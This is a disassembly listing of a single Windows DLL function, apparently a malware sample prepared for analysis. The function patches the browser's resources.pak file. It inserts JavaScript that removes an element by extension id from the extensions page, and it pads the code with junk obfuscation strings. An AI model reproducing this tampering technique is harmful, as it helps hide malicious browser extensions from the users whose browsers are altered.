Function at 0x1000aa00
Capabilities:
Copy file
Delete file
Encode data using base64
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10041c1b
mov eax, dword fs:[0]
push eax
sub esp, 0x1b4
mov eax, dword [0x1006f068]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, edx
mov dword [ebp - 0x134], eax
mov edi, ecx
test edi, edi
je 0x1000b932
cmp word [edi], 0
je 0x1000b932
test eax, eax
je 0x1000b932
cmp byte [eax], 0
je 0x1000b932
push 0x3f
push str.ffscevuncbmxlsjroczvlhxkvuzwkvcwepionosjtzncnmlgcdobtfiubfhzgau
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
call fcn.1000d700
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x88]
push 0x2c
push str.gvdhfftlqwkhttlmpgkcqteuqtfntoddxdknihpyskyt
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x74], 0xf
mov byte [ebp - 0x88], 0
call fcn.1000d700
mov dword [ebp - 4], 2
lea ecx, [ebp - 0xa0]
push 0x44
push 0x10057190
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x8c], 0xf
mov byte [ebp - 0xa0], 0
call fcn.1000d700
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x40]
push 0x44
push 0x100571d8
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
call fcn.1000d700
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x28]
push 0x44
push str.pwcbqslnnegemhnhnjwofbjfcokbznousufwijvncncpavzriqgxktxxgwhmijhqoaar
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.1000d700
lea ecx, [ebp - 0x28]
call fcn.1000d670
lea ecx, [ebp - 0x40]
call fcn.1000d670
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 2
call fcn.1000d670
push 0xb
push str.ljijdykffsc
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
call fcn.1000d700
lea ecx, [ebp - 0x88]
call fcn.1000d670
lea ecx, [ebp - 0x70]
mov dword [ebp - 4], 0xffffffff
call fcn.1000d670
lea ecx, [ebp - 0x58]
call fcn.1000d670
push 0x208
call fcn.100272ed
add esp, 4
mov esi, eax
mov dword [ebp - 0x13c], esi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push str._resources.pak
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
sub esp, 0x1c
mov dword [ebp - 0x138], esp
mov ecx, esp
push 0x1d
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push str.zeofctmfoerbbakjkesnpxrwwgdid
mov byte [ecx], 0
call fcn.1000d700
sub esp, 0x18
mov dword [ebp - 4], 5
mov ecx, esp
mov dword [ebp - 0x144], esp
push 0x1f
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push str.jrjnskrjsugbvdaposaugeunnawymwy
mov byte [ecx], 0
call fcn.1000d700
sub esp, 0x18
mov byte [ebp - 4], 6
mov ecx, esp
mov dword [ebp - 0x148], esp
push 0x17
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push str.uivogkfgkfrkggblbqtifzk
mov byte [ecx], 0
call fcn.1000d700
sub esp, 0x18
mov byte [ebp - 4], 7
mov ecx, esp
push 0x2d
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push str.cfnoilxavfjynbkygrxyiyxxzrcayiraatxurwnlcnbar
mov byte [ecx], 0
call fcn.1000d700
mov dword [ebp - 4], 0xffffffff
call fcn.10002f70
lea edx, [ebp - 0x138]
mov dword [ebp - 0x138], 0
mov ecx, esi
call fcn.1001fb50
push 0x57
push str.nnwgbtswconwqcdfwknhhmhjldfydjbmdjiykoidegclowadikwlquldtyypehnojsmhuhjfwatrhlcybzwnqua
lea ecx, [ebp - 0x88]
mov dword [ebp - 0x78], 0
mov esi, eax
mov dword [ebp - 0x74], 0xf
mov byte [ebp - 0x88], 0
call fcn.1000d700
mov dword [ebp - 4], 8
lea ecx, [ebp - 0xa0]
push 0x2f
push str.ntjjjrpxnyjqdjtnfpvkebygdexggwrfpagerxyertfsdlp
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x8c], 0xf
mov byte [ebp - 0xa0], 0
call fcn.1000d700
mov dword [ebp - 4], 0xa
lea ecx, [ebp - 0x40]
push 0x35
push 0x10056e6c
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
call fcn.1000d700
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x28]
push 0x35
push str.lnvwfohlregxrkewzyfpyuwlrakijnybvlccmyebbephgbwyqvoev
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.1000d700
lea ecx, [ebp - 0x28]
call fcn.1000d670
lea ecx, [ebp - 0x40]
call fcn.1000d670
lea ecx, [ebp - 0xa0]
call fcn.1000d670
lea ecx, [ebp - 0x88]
mov dword [ebp - 4], 0xffffffff
call fcn.1000d670
push 0x2a
push 0x100526b4
lea ecx, [ebp - 0xd0]
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xbc], 0xf
mov byte [ebp - 0xd0], 0
call fcn.1000d700
mov dword [ebp - 4], 0xc
lea ecx, [ebp - 0x58]
push 0x56
push str.afwlbovefemnqcgggvgdczcybovtpmczqsuptxaabmulobhcrohexyqbxeqedadcbkaqzcvmyllnmsmqbtnkid
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
call fcn.1000d700
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x70]
push 0x2d
push str.jydetiaoneequgugjakmhegusirnnsqgrjntgwevvkxjh
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
call fcn.1000d700
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x40]
push 0x2a
push 0x1005272c
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
call fcn.1000d700
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x28]
push 0x2a
push str.qpuybegkzwkcwxuvndipeccbjcxscfrijvdkzcdtui
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.1000d700
lea ecx, [ebp - 0x28]
call fcn.1000d670
lea ecx, [ebp - 0x40]
call fcn.1000d670
lea ecx, [ebp - 0x70]
call fcn.1000d670
lea ecx, [ebp - 0x58]
call fcn.1000d670
lea ecx, [ebp - 0xd0]
mov dword [ebp - 4], 0xffffffff
call fcn.1000d670
mov eax, dword [ebp - 0x138]
xor ecx, ecx
add eax, esi
mov dword [ebp - 0xa8], ecx
mov dword [ebp - 0xa4], 0xf
mov byte [ebp - 0xb8], cl
cmp esi, eax
je 0x1000ae8b
sub eax, esi
lea ecx, [ebp - 0xb8]
push eax
push esi
call fcn.1000d700
mov ecx, dword [ebp - 0xa8]
mov dword [ebp - 4], 0x10
test ecx, ecx
jne 0x1000aeab
lea esi, [ecx + 1]
lea ecx, [ebp - 0xb8]
call fcn.1000d670
mov eax, esi
jmp 0x1000b937
push 0x11
push str.zeweoqdtdizuwgyee
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
call fcn.1000d700
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x70]
push 0x56
push str.utuecqystnfwrkrsipqrnuixumxijlllogilfvietrnoyuojicgcvuxwjdjeuwrapicogpxybgejxuifwzufva
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
call fcn.1000d700
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x88]
push 6
push str.eocqxh
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x74], 0xf
mov byte [ebp - 0x88], 0
call fcn.1000d700
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0xa0]
push 0x5d
push str.kwxrivnbptwfcwkrcutyeajfyxobzcxhbkxquwvebpnyvbnuuomlgolzdfgfzgocjgujbgtwtqamdlknjpooekkpeconx
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x8c], 0xf
mov byte [ebp - 0xa0], 0
call fcn.1000d700
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x40]
push 0x18
push str.wyzvafxvfyokagxxxmggqcuv
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
call fcn.1000d700
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x28]
push 0x43
push str.smhfmuflyxoaipszcusdzrvzptaikdqynlkizevbqyzkddinbxxijniwcyvxnpcbfca
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.1000d700
lea ecx, [ebp - 0x28]
call fcn.1000d670
lea ecx, [ebp - 0x40]
call fcn.1000d670
lea ecx, [ebp - 0xa0]
call fcn.1000d670
lea ecx, [ebp - 0x88]
call fcn.1000d670
lea ecx, [ebp - 0x70]
call fcn.1000d670
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x10
call fcn.1000d670
push 0xed
push str.____n____Utility_function_to_find_the_width_of_various_UI_strings_and_synchronize_n____the_width_of_relevant_spans._This_is_crucial_for_making_sure_the_n____Enable_Enabled_checkboxes_align__as_well_as_the_Developer_Mode_checkbox._n____
lea ecx, [ebp - 0x118]
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0xf
mov byte [ebp - 0x118], 0
call fcn.1000d700
mov byte [ebp - 4], 0x18
push 0x6b
mov dword [ebp - 0xf0], 0
mov dword [ebp - 0xec], 0xf
mov byte [ebp - 0x100], 0
push str.____Returns_the_current_overlay_or_null_if_one_does_not_exist._n_____return_Element_The_overlay_element.
lea ecx, [ebp - 0x100]
call fcn.1000d700
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x58]
push 1
push 0x1005d9c4
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
call fcn.1000d700
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x70]
push 0x1a
push str.hzixrzxjzuvqsbaoewqcxtaxug
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
call fcn.1000d700
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x40]
push 0x62
push str.qevnwxceyogszvslpybkhdceyljxrdrskyzzlyqqevicuofotrprhvaqvuyblryvytyjdbuzyaxzfavjcuzebhajelaopvemaj
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
call fcn.1000d700
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x28]
push 0x25
push str.ghsaffsxpkaafevnxynudgvynxdwsvkxhkfgx
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.1000d700
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0xa0]
push 0xa
push str.oyllprbjui
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x8c], 0xf
mov byte [ebp - 0xa0], 0
call fcn.1000d700
lea ecx, [ebp - 0x28]
call fcn.1000d670
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0x1c
call fcn.1000d670
lea ecx, [ebp - 0xa0]
call fcn.1000d670
push 0x2e
push str.jgqjkcqeeibahobbildsazgnjbhumahdmwmoikqxfwqzbx
lea ecx, [ebp - 0x88]
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x74], 0xf
mov byte [ebp - 0x88], 0
call fcn.1000d700
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0xd0]
push 0x10
push str.ivjpcvzdtmygclre
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xbc], 0xf
mov byte [ebp - 0xd0], 0
call fcn.1000d700
lea ecx, [ebp - 0x88]
call fcn.1000d670
lea ecx, [ebp - 0x70]
call fcn.1000d670
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x19
call fcn.1000d670
lea ecx, [ebp - 0xd0]
call fcn.1000d670
push ecx
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0xb8]
call fcn.1000d3b0
cmp eax, 0xffffffff
je 0x1000b908
push dword [ebp - 0x108]
lea ecx, [ebp - 0xb8]
push eax
call fcn.1000d4b0
sub esp, 0x28
mov ecx, esp
push 0x18
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push str.xndrzopgcizlvcxsyohjwlat
mov byte [ecx], 0
call fcn.1000d700
lea eax, [ebp - 0x28]
push eax
call fcn.10002c20
lea ecx, [ebp - 0x28]
call fcn.1000d670
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0xb8]
call fcn.1000d3b0
cmp eax, 0xffffffff
je 0x1000b901
push dword [ebp - 0xf0]
lea ecx, [ebp - 0xb8]
push eax
call fcn.1000d4b0
push 0x2f
push str.nrfaospldmmjxymednqlppctopqhatxttxmpewaoqccbged
lea ecx, [ebp - 0x88]
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x74], 0xf
mov byte [ebp - 0x88], 0
call fcn.1000d700
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0xa0]
push 0x40
push str.aqyspsyddqtzrezditpucqcnsmfpnmfthwjvesakenldzexnzrfykzymytotebny
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x8c], 0xf
mov byte [ebp - 0xa0], 0
call fcn.1000d700
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x40]
push 0x1f
push str.fmilzubgxyuobxhylharanghzfktgvg
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
call fcn.1000d700
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x28]
push 0x2f
push str.wcopckfgvuxhcqdngdknwuvyzfxddzylteqoharklgnllff
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.1000d700
lea ecx, [ebp - 0x28]
call fcn.1000d670
lea ecx, [ebp - 0x40]
call fcn.1000d670
lea ecx, [ebp - 0xa0]
call fcn.1000d670
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 0x19
call fcn.1000d670
push 0x60
push str.pivngmioxbttnxuypvvckptpiczlksxetsgkpdutvgocedxjihqqhlgfalstztkbsfttzrfwjiijahrnkcuvqbbtmprsduln
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
call fcn.1000d700
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x70]
push 0xc
push str.oltxpkkywwrk
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
call fcn.1000d700
lea ecx, [ebp - 0x70]
call fcn.1000d670
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x19
call fcn.1000d670
push 0x3a
push str.window.addEventListener_load__function_e___n__extensions
lea ecx, [ebp - 0xe8]
mov dword [ebp - 0xd8], 0
mov dword [ebp - 0xd4], 0xf
mov byte [ebp - 0xe8], 0
call fcn.1000d700
mov byte [ebp - 4], 0x26
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
push 0x11b
push str.function_functin__setInterval_function_a_null_document.getElementById_extid_document.getElementById_extid_.remove___10_setInterval_function_a_anew_Date_localStorage.extstorage_a.getTime___localStorage.extstorage_glbtimefunctin__:localStorage.extstoragea.getTime___10___n
lea ecx, [ebp - 0x28]
call fcn.1000d700
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x40]
push 2
push 0x1005da3c
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
call fcn.1000d700
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0xa0]
push 0xc
push str._var_extid
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x8c], 0xf
mov byte [ebp - 0xa0], 0
call fcn.1000d700
mov ecx, dword [ebp + 8]
lea esi, [ebp - 0xbb]
mov byte [ebp - 4], 0x29
test ecx, ecx
jns 0x1000b444
neg ecx
mov dword [ebp + 8], ecx
nop
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
mov cl, dl
shl al, 2
add cl, al
mov eax, dword [ebp + 8]
add cl, cl
sub al, cl
mov ecx, eax
mov dword [ebp + 8], eax
add cl, 0x30
mov byte [esi], cl
mov ecx, edx
mov dword [ebp + 8], ecx
test ecx, ecx
jne 0x1000b410
dec esi
mov byte [esi], 0x2d
jmp 0x1000b472
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
mov cl, dl
shl al, 2
add cl, al
mov eax, dword [ebp + 8]
add cl, cl
sub al, cl
mov ecx, eax
mov dword [ebp + 8], eax
add cl, 0x30
mov byte [esi], cl
mov ecx, edx
mov dword [ebp + 8], ecx
test ecx, ecx
jne 0x1000b444
lea eax, [ebp - 0xbb]
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x74], 0xf
mov byte [ebp - 0x88], 0
cmp esi, eax
je 0x1000b4a0
sub eax, esi
lea ecx, [ebp - 0x88]
push eax
push esi
call fcn.1000d700
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x70]
push 0xe
push str.var_glbtime3e
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
call fcn.1000d700
lea eax, [ebp - 0x88]
mov byte [ebp - 4], 0x2b
push eax
lea edx, [ebp - 0x70]
lea ecx, [ebp - 0x1a8]
call fcn.1000d860
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 0x2c
push ecx
mov edx, eax
lea ecx, [ebp - 0x190]
call fcn.1000d860
add esp, 8
mov byte [ebp - 4], 0x2d
mov ecx, eax
push dword [ebp - 0x134]
call fcn.1000d500
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x58], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x48], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 0x2e
push eax
lea edx, [ebp - 0x58]
lea ecx, [ebp - 0x178]
call fcn.1000d860
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x2f
push ecx
mov edx, eax
lea ecx, [ebp - 0x160]
call fcn.1000d860
add esp, 8
mov edi, eax
mov byte [ebp - 4], 0x30
lea edx, [ebp - 0xe8]
cmp dword [ebp - 0xd4], 0x10
mov eax, dword [edi + 0x14]
cmovae edx, dword [ebp - 0xe8]
mov esi, dword [edi + 0x10]
sub eax, esi
mov ecx, dword [ebp - 0xd8]
mov dword [ebp - 0x134], ecx
cmp ecx, eax
ja 0x1000b5c3
cmp dword [edi + 0x14], 0x10
lea eax, [ecx + esi]
mov dword [edi + 0x10], eax
mov eax, edi
jb 0x1000b5aa
mov eax, dword [edi]
push ecx
add esi, eax
push edx
push esi
call fcn.10022640
mov eax, dword [ebp - 0x134]
add esp, 0xc
mov byte [esi + eax], 0
jmp 0x1000b5dc
push ecx
push edx
mov byte [ebp - 0x134], 0
push dword [ebp - 0x134]
push ecx
mov ecx, edi
call fcn.1000d9b0
mov edi, eax
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x11c], 0
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x130], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x120], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
lea ecx, [ebp - 0x160]
call fcn.1000d670
lea ecx, [ebp - 0x178]
call fcn.1000d670
lea ecx, [ebp - 0x58]
call fcn.1000d670
lea ecx, [ebp - 0x190]
call fcn.1000d670
lea ecx, [ebp - 0x1a8]
call fcn.1000d670
lea ecx, [ebp - 0x70]
call fcn.1000d670
lea ecx, [ebp - 0x88]
call fcn.1000d670
lea ecx, [ebp - 0xa0]
call fcn.1000d670
lea ecx, [ebp - 0x40]
call fcn.1000d670
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x3b
call fcn.1000d670
sub esp, 8
call fcn.10002990
lea eax, [ebp - 0x130]
push eax
lea edx, [ebp - 0xe8]
lea ecx, [ebp - 0xb8]
call fcn.1001b2f0
add esp, 4
test al, al
je 0x1000b8e4
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x140], esp
push 0x4f
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push str.nbdpgyeubyvzhbaljmticefrzlfrucyorfkirglsftqsyiszkemdnpdnpntytohctzofhhelkeujzuv
mov byte [ecx], 0
call fcn.1000d700
sub esp, 0x18
mov byte [ebp - 4], 0x3c
mov ecx, esp
mov dword [ebp - 0x148], esp
push 0x4e
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push str.dlhptrpqrhmhriiafuzezmknclpsgeqqqrpxstriagcnabjjwkfqqtrwdssvlegsecpugpbtbgaglq
mov byte [ecx], 0
call fcn.1000d700
sub esp, 0x1c
mov byte [ebp - 4], 0x3d
mov ecx, esp
mov dword [ebp - 0x144], esp
push 0x1c
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push str.ibszufbkzpbhrekpbemnigbqcbto
mov byte [ecx], 0
call fcn.1000d700
sub esp, 0x18
mov byte [ebp - 4], 0x3e
mov ecx, esp
push 0x1a
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push str.xijmydavdswyknsfbvusxhgllc
mov byte [ecx], 0
call fcn.1000d700
sub esp, 0x14
mov byte [ebp - 4], 0x3b
lea eax, [ebp - 0x1c0]
push eax
call fcn.10002660
lea ecx, [ebp - 0x1c0]
call fcn.1000d670
push 0x208
call fcn.100272ed
mov edi, dword [ebp - 0x13c]
add esp, 4
mov esi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str..backup
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x1000b7ac
lea esi, [eax + 4]
jmp 0x1000b8e9
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x140], esp
push 0x64
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push str.fccszpiwnynystuqknlslufpqnoqfncxdgzumguthbpgcfzdwoutjoqftpufebdnbpynewznhocqlgojdmujqibdsaimghwjmrpi
mov byte [ecx], 0
call fcn.1000d700
sub esp, 0x18
mov byte [ebp - 4], 0x3f
mov ecx, esp
mov dword [ebp - 0x148], esp
push 7
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push str.huevatv
mov byte [ecx], 0
call fcn.1000d700
sub esp, 0x34
mov byte [ebp - 4], 0x40
mov ecx, esp
mov dword [ebp - 0x144], esp
push 8
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push str.qfjfqfup
mov byte [ecx], 0
call fcn.1000d700
sub esp, 0x18
mov byte [ebp - 4], 0x41
mov ecx, esp
mov dword [ebp - 0x134], esp
push 0x61
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push str.hfetcacvxezdfnkwmgyxxflpnogqjkakrakyxuktybocxxfurmphcabbaaghssvfeslfwgqnexfhmwkykfiidkqevikmkympe
mov byte [ecx], 0
call fcn.1000d700
sub esp, 0x18
mov byte [ebp - 4], 0x42
mov ecx, esp
push 0x24
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push str.ngdrimwwcmapisuvpickyskkjbigiutcbhnu
mov byte [ecx], 0
call fcn.1000d700
mov byte [ebp - 4], 0x3b
call fcn.10002450
push edi
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
call edi
cmp dword [ebp - 0xa4], 0x10
lea edx, [ebp - 0xb8]
push dword [ebp - 0xa8]
cmovae edx, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0x13c]
call fcn.1001fc30
add esp, 4
mov dword [ebp - 0x134], eax
test eax, eax
je 0x1000b8dd
push dword [ebp - 0x13c]
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push esi
call edi
mov esi, dword [ebp - 0x134]
add esi, 5
jmp 0x1000b8e9
push esi
call edi
xor esi, esi
jmp 0x1000b8e9
mov esi, 6
lea ecx, [ebp - 0x130]
call fcn.1000d670
lea ecx, [ebp - 0xe8]
call fcn.1000d670
jmp 0x1000b90d
mov esi, 3
jmp 0x1000b90d
mov esi, 2
lea ecx, [ebp - 0x100]
call fcn.1000d670
lea ecx, [ebp - 0x118]
call fcn.1000d670
lea ecx, [ebp - 0xb8]
call fcn.1000d670
mov eax, esi
jmp 0x1000b937
mov eax, 0x63
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100212e2
mov esp, ebp
pop ebp
ret